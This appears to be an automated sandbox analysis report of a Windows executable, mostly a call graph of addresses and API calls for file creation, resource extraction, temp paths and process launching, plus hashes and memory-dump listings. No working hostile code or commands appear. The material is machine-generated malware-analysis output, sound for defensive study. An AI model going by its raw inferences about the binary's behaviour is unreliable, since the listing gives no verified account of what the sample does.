9406->9405 9411 409273 9409->9411 9412 40922e GetMessageW 9409->9412 9410 408e9a HeapFree 9413 4092df 9410->9413 9415 409277 DestroyAcceleratorTable 9411->9415 9416 40927e 9411->9416 9412->9411 9414 409243 TranslateAcceleratorW 9412->9414 9417 408e9a HeapFree 9413->9417 9414->9409 9418 409254 TranslateMessage DispatchMessageW 9414->9418 9415->9416 9416->9399 9419 409285 wcslen 9416->9419 9420 4092e5 9417->9420 9418->9409 9421 40e900 3 API calls 9419->9421 9420->8506 9422 40929c wcscpy HeapFree 9421->9422 9422->9399 9423->8513 9424->8515 9425->8517 9426->8519 9427->8523 9428->8530 9429->8532 9430->8534 9431->8538 9432->8540 9434 4094d1 3 API calls 9433->9434 9435 408e2d 9434->9435 9436 409588 16 API calls 9435->9436 9437 408e36 MessageBoxW 9436->9437 9438 409588 16 API calls 9437->9438 9439 40234b 9438->9439 9439->8543 9440->8440 9441->8448 9443 40a24d 9442->9443 9444 40e900 3 API calls 9443->9444 9445 40a26b 9444->9445 9446 40a271 memcpy 9445->9446 9447 40a27f 9445->9447 9446->9447 9447->9343 9448->9346 9451 405fa1 9449->9451 9450 40e880 TlsGetValue 9452 406014 9450->9452 9451->9450 9451->9451 9453 40e900 3 API calls 9452->9453 9454 406022 9453->9454 9456 406032 9454->9456 9457 40ea10 TlsGetValue 9454->9457 9456->9350 9457->9456 9458->9372 9459->9363 9461 408e60 wcslen HeapAlloc 9460->9461 9462 408e96 9460->9462 9461->9462 9463 408e86 wcscpy 9461->9463 9462->9383 9463->9383 9465 409032 9464->9465 9466 4094e2 GetWindowThreadProcessId GetCurrentProcessId 9464->9466 9467 409588 9465->9467 9466->9465 9468 409592 EnumWindows 9467->9468 9476 4095dd 9467->9476 9469 4095af 9468->9469 9474 40903e 9468->9474 9482 409507 GetWindowThreadProcessId GetCurrentThreadId 9468->9482 9471 4095b1 GetCurrentThreadId 9469->9471 9472 4095c4 SetWindowPos 9469->9472 9469->9474 9470 4095ea GetCurrentThreadId 9470->9476 9471->9469 9472->9469 9473 409600 EnableWindow 9473->9476 9474->9394 9474->9395 9475 409611 SetWindowPos 9475->9476 9476->9470 9476->9473 9476->9474 9476->9475 9477 40e1b2 HeapFree 9476->9477 9477->9476 9478->9401 9480 408ea1 HeapFree 9479->9480 9481 408eb3 9479->9481 9480->9481 9481->9410 9483 409525 IsWindowVisible 9482->9483 9484 40957f 9482->9484 9483->9484 9485 409530 9483->9485 9486 40e1f2 HeapAlloc 9485->9486 9487 40953c GetCurrentThreadId GetWindowLongW 9486->9487 9488 40955a 9487->9488 9489 40955e GetForegroundWindow 9487->9489 9488->9489 9489->9484 9490 409568 IsWindowEnabled 9489->9490 9490->9484 9491 409573 EnableWindow 9490->9491 9491->9484 9492->8552 9493->8555 9495 40e900 3 API calls 9494->9495 9496 40ade9 GetTempPathW LoadLibraryW 9495->9496 9497 40ae24 9496->9497 9498 40ae06 GetProcAddress 9496->9498 9520 40ea90 TlsGetValue 9497->9520 9499 40ae16 GetLongPathNameW 9498->9499 9500 40ae1d FreeLibrary 9498->9500 9499->9500 9500->9497 9502 401a1e 9502->8560 9503->8563 9504->8567 9521 40ae39 9505->9521 9508 40ad45 9509 40ad54 wcsncpy wcslen 9508->9509 9510 401a7b GetTempFileNameW 9508->9510 9511 40ad88 CreateDirectoryW 9509->9511 9513 40e520 GetLastError TlsGetValue SetLastError 9510->9513 9511->9510 9513->8577 9514->8579 9515->8589 9516->8591 9517->8599 9518->8601 9519->8607 9520->9502 9522 40ae40 9521->9522 9523 401a70 9521->9523 9524 40ae56 DeleteFileW 9522->9524 9525 40ae47 SetFileAttributesW 9522->9525 9523->9508 9524->9523 9525->9524 9526->8620 9528 40afe1 SetCurrentDirectoryW 9527->9528 9529 404759 9527->9529 9528->9529 9529->8629 9530->8707 9531->8742 9532->8652 9533->8661 9535 40e900 3 API calls 9534->9535 9536 40ae87 GetCurrentDirectoryW 9535->9536 9537 40ae97 9536->9537 9603 40ea90 TlsGetValue 9537->9603 9539 40aeae 9539->8677 9540->8653 9541->8660 9542->8676 9544 40e900 3 API calls 9543->9544 9545 40aecf 9544->9545 9546 40aede LoadLibraryW 9545->9546 9555 40af69 9545->9555 9548 40af4b 9546->9548 9549 40aeef GetProcAddress 9546->9549 9547 40af9b 9610 40ea90 TlsGetValue 9547->9610 9604 40afec SHGetFolderLocation 9548->9604 9550 40af40 FreeLibrary 9549->9550 9551 40af04 9549->9551 9550->9547 9550->9548 9551->9550 9558 40af16 wcscpy wcscat wcslen CoTaskMemFree 9551->9558 9555->9547 9556 40afec 4 API calls 9555->9556 9556->9547 9557 4035d8 9557->8705 9558->9550 9559->8665 9560->8681 9561->8678 9562->8688 9563->8682 9564->8701 9565->8689 9566->8708 9567->8702 9568->8724 9569->8709 9570->8728 9571->8716 9572->8734 9573->8729 9574->8744 9576 409368 CoInitialize 9575->9576 9577 409379 memset LoadLibraryW 9575->9577 9576->9577 9578 4093a3 GetProcAddress GetProcAddress 9577->9578 9579 4094ab 9577->9579 9580 4093d2 wcsncpy wcslen 9578->9580 9581 4093cd 9578->9581 9582 40e900 3 API calls 9579->9582 9583 409401 9580->9583 9581->9580 9584 4094b8 9582->9584 9585 4094d1 3 API calls 9583->9585 9611 40ea90 TlsGetValue 9584->9611 9586 40941f 9585->9586 9589 409588 16 API calls 9586->9589 9588 403772 9588->8756 9590 409442 9589->9590 9591 409588 16 API calls 9590->9591 9592 409457 9591->9592 9593 40949f FreeLibrary 9592->9593 9594 40e900 3 API calls 9592->9594 9593->9579 9593->9584 9595 409468 CoTaskMemFree wcslen 9594->9595 9595->9593 9597 409493 9595->9597 9597->9593 9599 4056e1 timeBeginPeriod 9598->9599 9600 4056f3 Sleep 9598->9600 9599->9600 9601->8730 9602->8745 9603->9539 9605 40b00b SHGetPathFromIDListW 9604->9605 9606 40af53 wcscat wcslen 9604->9606 9607 40b035 CoTaskMemFree 9605->9607 9608 40b019 wcslen 9605->9608 9606->9547 9607->9606 9608->9607 9609 40b026 9608->9609 9609->9607 9610->9557 9611->9588 9612->8777 9613->8779 9614->8785 9615->8787 9616->8791 9617->8808 9618->8810 9619->8813 9620->8816 9621->8822 9622->8829 9623->8831 9624->8833 9625->8835 9626->8839 9627->8845 9628->8847 9629->8849 9630->8851 9631->8855 9632->8861 9633->8863 9634->8865 9635->8867 9636->8871 9637->8877 9638->8879 9639->8881 9640->8883 9641->8887 9642->8893 9644 40e660 21 API calls 9643->9644 9645 403e43 9644->9645 9646 4051a0 3 API calls 9645->9646 9647 403e4c 9646->9647 9648 405060 2 API calls 9647->9648 9649 403e58 FindResourceW 9648->9649 9650 403f13 9649->9650 9651 403e7b 9649->9651 9773 40e520 GetLastError TlsGetValue SetLastError 9650->9773 9652 402664 26 API calls 9651->9652 9654 403e8a 9652->9654 9656 40477d HeapSize 9654->9656 9655 403f1d 9657 40e6c0 4 API calls 9655->9657 9658 403e97 9656->9658 9659 403f25 9657->9659 9720 4011ef 9658->9720 9774 405170 TlsGetValue 9659->9774 9662 403f2c 9667 40e5f0 HeapFree 9662->9667 9664 403eba 9744 40478d 9664->9744 9665 403edc 9760 40e520 GetLastError TlsGetValue SetLastError 9665->9760 9670 403f43 9667->9670 9669 403ee2 9761 40e520 GetLastError TlsGetValue SetLastError 9669->9761 9673 40e5f0 HeapFree 9670->9673 9677 403a0d 9673->9677 9675 403eda 9775 40e750 TlsGetValue 9675->9775 9676 403eea 9762 40a330 9676->9762 9677->8896 9680 403f00 9681 40e560 3 API calls 9680->9681 9682 403f0a 9681->9682 9772 40a200 HeapFree 9682->9772 9684->8899 9685->8905 9686->8911 9687->8917 9688->8923 9689->8925 9690->8927 9691->8931 9692->8933 9852 406310 9693->9852 9696->8939 9697->8941 9698->8943 9699->8947 9700->8949 9701->8955 9702->8957 9703->8969 9704->8971 9706 405060 2 API calls 9705->9706 9707 4023cb 9706->9707 9708 405060 2 API calls 9707->9708 9709 4023d8 9708->9709 9881 40b330 9709->9881 9713 402403 9714 40b050 11 API calls 9713->9714 9715 402410 9714->9715 9716 40e5f0 HeapFree 9715->9716 9717 402437 9716->9717 9718 40e5f0 HeapFree 9717->9718 9719 402440 9718->9719 9719->8974 9721 4011f7 9720->9721 9721->9721 9722 405060 2 API calls 9721->9722 9723 401210 9722->9723 9776 405700 9723->9776 9726 40a1e0 HeapSize 9727 401225 9726->9727 9728 40e266 4 API calls 9727->9728 9729 401247 9728->9729 9730 40e266 4 API calls 9729->9730 9731 401265 9730->9731 9732 40e266 4 API calls 9731->9732 9733 4014bd 9732->9733 9734 40e266 4 API calls 9733->9734 9735 4014db 9734->9735 9783 40a200 HeapFree 9735->9783 9737 4014e4 9738 40e5f0 HeapFree 9737->9738 9739 4014f4 9738->9739 9740 40e3b9 2 API calls 9739->9740 9741 4014fe 9740->9741 9742 40e3b9 2 API calls 9741->9742 9743 401507 9742->9743 9743->9664 9743->9665 9745 40e660 21 API calls 9744->9745 9746 40479b 9745->9746 9747 405060 2 API calls 9746->9747 9748 4047a7 9747->9748 9749 4047ba 9748->9749 9784 402447 9748->9784 9751 4047cb 9749->9751 9793 40b350 9749->9793 9753 40e5f0 HeapFree 9751->9753 9754 403ed1 9753->9754 9759 40a200 HeapFree 9754->9759 9755 4047dd 9755->9751 9756 40481d 9755->9756 9804 40b630 9755->9804 9758 40b050 11 API calls 9756->9758 9758->9751 9759->9675 9760->9669 9761->9676 9764 40a350 9762->9764 9767 40a3a8 9762->9767 9763 40e900 3 API calls 9765 40a379 9763->9765 9764->9763 9764->9764 9851 40ea90 TlsGetValue 9765->9851 9766 40a403 MultiByteToWideChar 9769 40e900 3 API calls 9766->9769 9767->9766 9771 40a420 MultiByteToWideChar 9769->9771 9770 40a39d 9770->9680 9771->9680 9772->9650 9773->9655 9774->9662 9775->9662 9777 405710 WideCharToMultiByte 9776->9777 9778 40570b 9776->9778 9779 40a220 RtlAllocateHeap 9777->9779 9778->9777 9780 405730 9779->9780 9781 405736 WideCharToMultiByte 9780->9781 9782 401218 9780->9782 9781->9782 9782->9726 9783->9737 9785 405060 2 API calls 9784->9785 9786 402458 9785->9786 9815 40b420 9786->9815 9789 40247f 9791 40e5f0 HeapFree 9789->9791 9790 40b050 11 API calls 9790->9789 9792 402497 9791->9792 9792->9749 9794 40db18 5 API calls 9793->9794 9795 40b365 9794->9795 9796 40b417 9795->9796 9797 40b36f CreateFileW 9795->9797 9796->9755 9798 40b390 CreateFileW 9797->9798 9799 40b3ac 9797->9799 9798->9799 9801 40b3cd 9798->9801 9800 40b3b9 HeapAlloc 9799->9800 9799->9801 9800->9801 9802 40da8a 4 API calls 9801->9802 9803 40b40e 9801->9803 9802->9803 9803->9755 9805 40b642 9804->9805 9806 40b695 9804->9806 9807 40b68d 9805->9807 9808 40dad9 2 API calls 9805->9808 9806->9756 9807->9756 9809 40b65a 9808->9809 9810 40b683 9809->9810 9811 40b672 WriteFile 9809->9811 9812 40b664 9809->9812 9810->9756 9811->9810 9840 40b6a0 9812->9840 9814 40b66c 9814->9756 9818 40b140 9815->9818 9817 40246b 9817->9789 9817->9790 9819 40b158 9818->9819 9820 40db18 5 API calls 9819->9820 9821 40b16f 9820->9821 9822 40b322 9821->9822 9823 40b182 9821->9823 9824 40b1be 9821->9824 9822->9817 9825 40b199 9823->9825 9826 40b19c CreateFileW 9823->9826 9827 40b1c3 9824->9827 9828 40b1fc 9824->9828 9825->9826 9833 40b268 9826->9833 9829 40b1da 9827->9829 9830 40b1dd CreateFileW 9827->9830 9831 40b227 CreateFileW 9828->9831 9828->9833 9829->9830 9830->9833 9832 40b249 CreateFileW 9831->9832 9831->9833 9832->9833 9834 40b2a2 9833->9834 9836 40b28e HeapAlloc 9833->9836 9837 40b2f0 9833->9837 9834->9837 9838 40b2dc SetFilePointer 9834->9838 9835 40da8a 4 API calls 9835->9822 9836->9834 9837->9835 9839 40b301 9837->9839 9838->9837 9839->9817 9841 40b7a7 9840->9841 9842 40b6ba 9840->9842 9841->9814 9843 40b6c0 SetFilePointer 9842->9843 9844 40b6eb 9842->9844 9843->9844 9845 40b6f7 9844->9845 9846 40b0c0 WriteFile 9844->9846 9847 40b727 9845->9847 9850 40b711 memcpy 9845->9850 9848 40b76e 9846->9848 9847->9814 9848->9845 9849 40b775 WriteFile 9848->9849 9849->9814 9850->9814 9851->9770 9853 40631f 9852->9853 9854 406438 9853->9854 9864 4063ae 9853->9864 9855 40e880 TlsGetValue 9854->9855 9856 406442 9855->9856 9857 40645a 9856->9857 9858 40644a _wcsdup 9856->9858 9859 40e880 TlsGetValue 9857->9859 9858->9857 9860 406460 9859->9860 9861 406477 9860->9861 9862 406468 _wcsdup 9860->9862 9863 40e880 TlsGetValue 9861->9863 9862->9861 9865 406480 9863->9865 9866 4063fc wcsncpy 9864->9866 9868 403ad4 9864->9868 9867 406488 _wcsdup 9865->9867 9870 406498 9865->9870 9866->9864 9867->9870 9868->8936 9869 40e900 3 API calls 9871 406520 9869->9871 9870->9869 9872 406572 wcsncpy 9871->9872 9873 406526 9871->9873 9876 40658d 9871->9876 9872->9876 9874 4065e4 9873->9874 9875 4065db free 9873->9875 9877 4065f7 9874->9877 9878 4065eb free 9874->9878 9875->9874 9876->9873 9880 406625 wcsncpy 9876->9880 9877->9868 9879 4065fe free 9877->9879 9878->9877 9879->9868 9880->9876 9882 40b140 15 API calls 9881->9882 9883 4023eb 9882->9883 9883->9715 9884 40b600 9883->9884 9885 40dad9 2 API calls 9884->9885 9886 40b60f 9885->9886 9887 40b623 9886->9887 9890 40b500 9886->9890 9887->9713 9889 40b620 9889->9713 9891 40b5f4 9890->9891 9892 40b514 9890->9892 9891->9889 9892->9891 9893 40b528 9892->9893 9894 40b58d 9892->9894 9895 40b560 9893->9895 9896 40b538 9893->9896 9908 40b7b0 WideCharToMultiByte 9894->9908 9895->9895 9898 40b56b WriteFile 9895->9898 9901 40b6a0 4 API calls 9896->9901 9898->9889 9899 40b5a7 9900 40b5eb 9899->9900 9902 40b5b7 9899->9902 9903 40b5c8 WriteFile 9899->9903 9900->9889 9905 40b55a 9901->9905 9906 40b6a0 4 API calls 9902->9906 9904 40b5dc HeapFree 9903->9904 9904->9900 9905->9889 9907 40b5c2 9906->9907 9907->9904 9909 40b7d5 HeapAlloc 9908->9909 9910 40b80e 9908->9910 9911 40b809 9909->9911 9912 40b7ec WideCharToMultiByte 9909->9912 9910->9899 9911->9899 9912->9911 9913->9003 9914->9005 9915->9014 9917 4024a3 9916->9917 9917->9917 9918 40e660 21 API calls 9917->9918 9919 4024b5 9918->9919 9920 4051a0 3 API calls 9919->9920 9939 4024be 9920->9939 9921 40253f 9984 40e520 GetLastError TlsGetValue SetLastError 9921->9984 9923 402545 9985 40e520 GetLastError TlsGetValue SetLastError 9923->9985 9924 40e520 GetLastError TlsGetValue SetLastError 9924->9939 9926 40254d GetCommandLineW 9928 40a240 4 API calls 9926->9928 9927 405dc0 3 API calls 9927->9939 9929 40255a 9928->9929 9931 40e560 3 API calls 9929->9931 9930 40e560 TlsGetValue RtlAllocateHeap RtlReAllocateHeap 9930->9939 9932 402564 9931->9932 9986 40e520 GetLastError TlsGetValue SetLastError 9932->9986 9934 40256e 9936 40e6c0 4 API calls 9934->9936 9935 40e6c0 wcslen TlsGetValue HeapReAlloc HeapReAlloc 9935->9939 9937 402576 9936->9937 9938 40e560 3 API calls 9937->9938 9940 402580 PathRemoveArgsW 9938->9940 9939->9921 9939->9924 9939->9927 9939->9930 9939->9935 9941 402597 9940->9941 9942 4025fd 9941->9942 9987 40e520 GetLastError TlsGetValue SetLastError 9941->9987 9944 4099a5 SetEnvironmentVariableW 9942->9944 9946 40260a 9944->9946 9945 4025a9 9947 40e6c0 4 API calls 9945->9947 10000 40e520 GetLastError TlsGetValue SetLastError 9946->10000 9949 4025b6 9947->9949 9988 40e520 GetLastError TlsGetValue SetLastError 9949->9988 9950 402614 9952 40e6c0 4 API calls 9950->9952 9954 40261c 9952->9954 9953 4025bc 9989 40e520 GetLastError TlsGetValue SetLastError 9953->9989 10001 405170 TlsGetValue 9954->10001 9957 402623 9960 40e5f0 HeapFree 9957->9960 9958 4025c4 9990 40e520 GetLastError TlsGetValue SetLastError 9958->9990 9963 40263b 9960->9963 9961 4025cc 9991 40e520 GetLastError TlsGetValue SetLastError 9961->9991 9965 40e5f0 HeapFree 9963->9965 9964 4025d4 9992 406110 9964->9992 9967 402644 9965->9967 9969 40e5f0 HeapFree 9967->9969 9968 4025e5 9971 40264d 9969->9971 9973 40e5f0 HeapFree 9971->9973 9975 402656 9973->9975 9981->9015 9982->9026 9983->9035 9984->9923 9985->9926 9986->9934 9987->9945 9988->9953 9989->9958 9990->9961 9991->9964 9993 406146 9992->9993 9994 406118 9992->9994 10011 40e9e0 TlsGetValue 9993->10011 10002 406080 9994->10002 9996 40614f 9996->9968 10000->9950 10001->9957 10003 40e880 TlsGetValue 10002->10003 10004 40609c 10003->10004 10011->9996 10014->9055 10116->9146 10117->9150 10118->9145 10119->9149 10120->9153 10121->9157 10122->9161 10418 40a46f HeapAlloc 10417->10418 10419 40a558 10417->10419 10418->7933 10418->7934 10444 40a79a 10419->10444 10421 40a560 10422 40dfc6 9 API calls 10421->10422 10423 40a568 HeapFree HeapFree 10422->10423 10424 40a5a3 HeapFree 10423->10424 10425 40a58f 10423->10425 10424->10418 10426 40a590 HeapFree 10425->10426 10426->10426 10427 40a5a2 10426->10427 10427->10424 10429 40deba 10428->10429 10430 40df72 RtlAllocateHeap 10429->10430 10431 40dec6 10429->10431 10433 40df87 10430->10433 10434 40a4f6 HeapAlloc 10430->10434 10451 40e0c3 LoadLibraryW 10431->10451 10433->10434 10436 40dfb0 InitializeCriticalSection 10433->10436 10434->7933 10436->10434 10437 40deeb 10438 40df07 HeapAlloc 10437->10438 10439 40df65 LeaveCriticalSection 10437->10439 10438->10439 10440 40df1d 10438->10440 10439->10434 10442 40de99 6 API calls 10440->10442 10443 40df34 10442->10443 10443->10439 10448 40a7ae 10444->10448 10445 40a7f7 memset 10446 40a810 10445->10446 10446->10421 10447 40a7b9 HeapFree 10447->10448 10448->10445 10448->10447 10449 41242a HeapFree 10448->10449 10450 40ddcb 3 API calls 10448->10450 10449->10448 10450->10448 10452 40e0e0 GetProcAddress 10451->10452 10453 40e10b InterlockedCompareExchange 10451->10453 10454 40e100 FreeLibrary 10452->10454 10459 40e0f0 10452->10459 10455 40e11b 10453->10455 10456 40e12f InterlockedExchange 10453->10456 10454->10453 10457 40ded5 EnterCriticalSection 10454->10457 10455->10457 10460 40e120 Sleep 10455->10460 10456->10457 10457->10437 10459->10454 10460->10455 10461->7949 10462->7951 10463->7953 10464->7955 10465->7959 10466->7965 10467->7967 10468->7969 10469->7971 10470->7975 10471->7983 10472->7989 10473->7991 10474->7998 10475->8000 10476->8002 10477->8004 10478->8008 10479->8014 10480->8016 10481->8018 10482->8020 10483->8024 10484->8030 10485->8036 10486->8042 10487->8044 10488->8050 10489->8056 10750 402e03 10751 40e660 21 API calls 10750->10751 10752 402e09 10751->10752 10753 40ab74 5 API calls 10752->10753 10754 402e14 10753->10754 10763 40e520 GetLastError TlsGetValue SetLastError 10754->10763 10756 402e1a 10764 40e520 GetLastError TlsGetValue SetLastError 10756->10764 10758 402e22 10759 40a240 4 API calls 10758->10759 10760 402e2d 10759->10760 10761 40e560 3 API calls 10760->10761 10762 402e3c 10761->10762 10763->10756 10764->10758 10795 406289 10796 406290 10795->10796 10796->10796 10799 40ea90 TlsGetValue 10796->10799 10798 4062b5 10799->10798 10510 40b6a0 10511 40b7a7 10510->10511 10512 40b6ba 10510->10512 10513 40b6c0 SetFilePointer 10512->10513 10514 40b6eb 10512->10514 10513->10514 10515 40b6f7 10514->10515 10516 40b0c0 WriteFile 10514->10516 10517 40b727 10515->10517 10520 40b711 memcpy 10515->10520 10518 40b76e 10516->10518 10518->10515 10519 40b775 WriteFile 10518->10519

                                                                                          Executed Functions

                                                                                          Function 0040ADD6 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 40libraryloaderCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          APIs
                                                                                            • Part of subcall function 0040E900: TlsGetValue.KERNEL32(0000000D,00001000,00000000,00000000), ref: 0040E90C
                                                                                            • Part of subcall function 0040E900: HeapReAlloc.KERNEL32(00980000,00000000,?,?), ref: 0040E967
                                                                                          • GetTempPathW.KERNEL32(00000104,00000000,00000104,00000000,?,?,?,00000000,00401A1E,00000000,00000000,00000400,00000000,00000000,00000000,00000000), ref: 0040ADED
                                                                                          • LoadLibraryW.KERNEL32(Kernel32.DLL,?,?,?,00000000,00401A1E,00000000,00000000,00000400,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040ADFA
                                                                                          • GetProcAddress.KERNEL32(00000000,GetLongPathNameW), ref: 0040AE0C
                                                                                          • GetLongPathNameW.KERNELBASE(00000000,00000000,00000104,?,?,?,00000000,00401A1E,00000000,00000000,00000400,00000000,00000000,00000000,00000000,00000000), ref: 0040AE19
                                                                                          • FreeLibrary.KERNEL32(00000000,?,?,?,00000000,00401A1E,00000000,00000000,00000400,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040AE1E
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: LibraryPath$AddressAllocFreeHeapLoadLongNameProcTempValue
                                                                                          • String ID: GetLongPathNameW$Kernel32.DLL
                                                                                          • API String ID: 820969696-2943376620
                                                                                          • Opcode ID: d689e7c6ef715de522d1227690b0767884cdf769d34ed9e685d0497adf4c9375
                                                                                          • Instruction ID: e37525813661028bcc8eb249af8eccfe35d88e27d7fdedfae3674fb0e28627f1
                                                                                          • Opcode Fuzzy Hash: d689e7c6ef715de522d1227690b0767884cdf769d34ed9e685d0497adf4c9375
                                                                                          • Instruction Fuzzy Hash: FAF082722452547FC3216BB6AC8CEEB3EACDF86755300443AF905E2251EA7C5D2086BD
                                                                                          Function 00409A1F Relevance: 73.9, APIs: 40, Strings: 2, Instructions: 395memorypipesynchronizationCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 0 409a1f-409a88 memset 1 409a9a-409a9b 0->1 2 409a8a-409a98 0->2 3 409aa3-409aac 1->3 2->3 4 409ad5-409ad8 3->4 5 409aae-409ab7 3->5 6 409b20-409b29 4->6 7 409ada-409add 4->7 5->4 8 409ab9-409abe 5->8 10 409bbb-409bc3 6->10 11 409b2f-409b32 6->11 7->6 9 409adf-409af5 CreatePipe 7->9 8->4 12 409ac0-409ad3 8->12 9->6 14 409af7-409b15 call 4099c7 9->14 15 409bc5-409bd2 10->15 16 409c07-409c15 10->16 17 409b34-409b4a CreatePipe 11->17 18 409b75-409b78 11->18 13 409b1d 12->13 13->6 14->13 20 409bd4-409bd8 GetStdHandle 15->20 21 409bdf-409be6 15->21 22 409c17 16->22 23 409c19-409c20 16->23 17->18 24 409b4c-409b6d call 4099c7 17->24 18->10 25 409b7a-409b90 CreatePipe 18->25 20->21 27 409bf3-409bfa 21->27 28 409be8-409bec GetStdHandle 21->28 22->23 30 409c22 23->30 31 409c29-409c62 wcslen * 2 HeapAlloc 23->31 24->18 25->10 32 409b92-409bb3 call 4099c7 25->32 27->16 34 409bfc-409c00 GetStdHandle 27->34 28->27 30->31 36 409c64-409c84 wcscpy wcscat * 2 31->36 37 409c86-409c8e wcscpy 31->37 32->10 34->16 38 409c8f-409c9b 36->38 37->38 40 409cba-409cc3 38->40 41 409c9d-409cb8 wcscat * 2 38->41 42 409cd5-409cf2 CreateProcessW 40->42 43 409cc5-409cce 40->43 41->40 44 409cf8-409d02 42->44 45 409d9e-409da8 42->45 43->42 48 409d04-409d08 CloseHandle 44->48 49 409d0a-409d0e 44->49 46 409db0-409db4 45->46 47 409daa-409dae CloseHandle 45->47 50 409db6-409dba CloseHandle 46->50 51 409dbc-409dc0 46->51 47->46 48->49 52 409d10-409d14 CloseHandle 49->52 53 409d16-409d1a 49->53 50->51 54 409dc2-409dc6 CloseHandle 51->54 55 409dc8-409dcc 51->55 52->53 56 409d22-409d32 CloseHandle 53->56 57 409d1c-409d20 CloseHandle 53->57 54->55 58 409dd4-409dd8 55->58 59 409dce-409dd2 CloseHandle 55->59 60 409d40-409d44 56->60 61 409d34-409d3a WaitForSingleObject 56->61 57->56 62 409de0-409de4 58->62 63 409dda-409dde CloseHandle 58->63 59->58 64 409d93-409d99 CloseHandle 60->64 65 409d46-409d8e EnterCriticalSection call 40e1f2 LeaveCriticalSection 60->65 61->60 67 409de6-409dea CloseHandle 62->67 68 409dec-409df4 62->68 63->62 66 409f27-409f29 64->66 71 409f2a 65->71 66->71 67->68 68->71 72 409dfa-409e01 68->72 75 409f2c-409f49 HeapFree 71->75 73 409e03-409e12 wcslen 72->73 74 409e47-409ebb memset ShellExecuteExW 72->74 73->74 76 409e14-409e18 73->76 74->71 77 409ebd-409ec7 74->77 78 409e21-409e23 76->78 79 409e1a-409e1f 76->79 80 409ed8-409edc 77->80 81 409ec9-409ed2 WaitForSingleObject 77->81 78->74 82 409e25-409e42 wcscpy 78->82 79->76 79->78 83 409f1e-409f25 CloseHandle 80->83 84 409ede-409f1c EnterCriticalSection call 40e1f2 LeaveCriticalSection 80->84 81->80 82->74 83->66 84->75
                                                                                          APIs
                                                                                          • memset.MSVCRT ref: 00409A69
                                                                                          • CreatePipe.KERNEL32(?,?,?,00000000,?,?,00000000,00000000,00404626,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00409AF1
                                                                                          • CreatePipe.KERNEL32(?,?,?,00000000,?,?,00000000,00000000,00404626,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00409B46
                                                                                          • CreatePipe.KERNEL32(?,?,?,00000000,?,?,00000000,00000000,00404626,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00409B8C
                                                                                          • GetStdHandle.KERNEL32(000000F6), ref: 00409BD6
                                                                                          • GetStdHandle.KERNEL32(000000F5), ref: 00409BEA
                                                                                          • GetStdHandle.KERNEL32(000000F4), ref: 00409BFE
                                                                                          • wcslen.MSVCRT ref: 00409C2A
                                                                                          • wcslen.MSVCRT ref: 00409C38
                                                                                          • HeapAlloc.KERNEL32(00000000,00000000), ref: 00409C52
                                                                                          • wcscpy.MSVCRT ref: 00409C6A
                                                                                          • wcscat.MSVCRT ref: 00409C71
                                                                                          • wcscat.MSVCRT ref: 00409C7C
                                                                                          • wcscpy.MSVCRT ref: 00409C88
                                                                                          • wcscat.MSVCRT ref: 00409CA3
                                                                                          • wcscat.MSVCRT ref: 00409CB0
                                                                                          • CreateProcessW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,00000000,?,?,?), ref: 00409CEA
                                                                                          • CloseHandle.KERNEL32(?,?,00000000,?,?,?), ref: 00409D08
                                                                                          • CloseHandle.KERNEL32(?,?,00000000,?,?,?), ref: 00409D14
                                                                                          • CloseHandle.KERNEL32(?,?,00000000,?,?,?), ref: 00409D20
                                                                                          • CloseHandle.KERNEL32(?,?,00000000,?,?,?), ref: 00409D26
                                                                                          • WaitForSingleObject.KERNEL32(?,000000FF,?,00000000,?,?,?), ref: 00409D3A
                                                                                          • EnterCriticalSection.KERNEL32(00418730,?,00000000,?,?,?), ref: 00409D4C
                                                                                          • LeaveCriticalSection.KERNEL32(00418730,?,00000000,?,?,?), ref: 00409D63
                                                                                          • CloseHandle.KERNEL32(?,?,00000000,?,?,?), ref: 00409D97
                                                                                          • CloseHandle.KERNEL32(?,?,00000000,?,?,?), ref: 00409DAE
                                                                                          • CloseHandle.KERNEL32(?,?,00000000,?,?,?), ref: 00409DBA
                                                                                          • CloseHandle.KERNEL32(?,?,00000000,?,?,?), ref: 00409DC6
                                                                                          • CloseHandle.KERNEL32(?,?,00000000,?,?,?), ref: 00409DD2
                                                                                          • CloseHandle.KERNEL32(?,?,00000000,?,?,?), ref: 00409DDE
                                                                                          • CloseHandle.KERNEL32(?,?,00000000,?,?,?), ref: 00409DEA
                                                                                          • wcslen.MSVCRT ref: 00409E04
                                                                                          • wcscpy.MSVCRT ref: 00409E2A
                                                                                          • memset.MSVCRT ref: 00409E56
                                                                                          • ShellExecuteExW.SHELL32 ref: 00409EB3
                                                                                          • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00409ED2
                                                                                          • EnterCriticalSection.KERNEL32(00418730), ref: 00409EE4
                                                                                          • LeaveCriticalSection.KERNEL32(00418730), ref: 00409EFB
                                                                                            • Part of subcall function 004099C7: GetCurrentProcess.KERNEL32(?,00000000,00000000,00000002,00000000,?,?,00409BAF,?), ref: 004099D6
                                                                                            • Part of subcall function 004099C7: GetCurrentProcess.KERNEL32(?,00000000,?,?,00409BAF,?), ref: 004099E2
                                                                                            • Part of subcall function 004099C7: DuplicateHandle.KERNEL32(00000000,?,?,00409BAF,?), ref: 004099E9
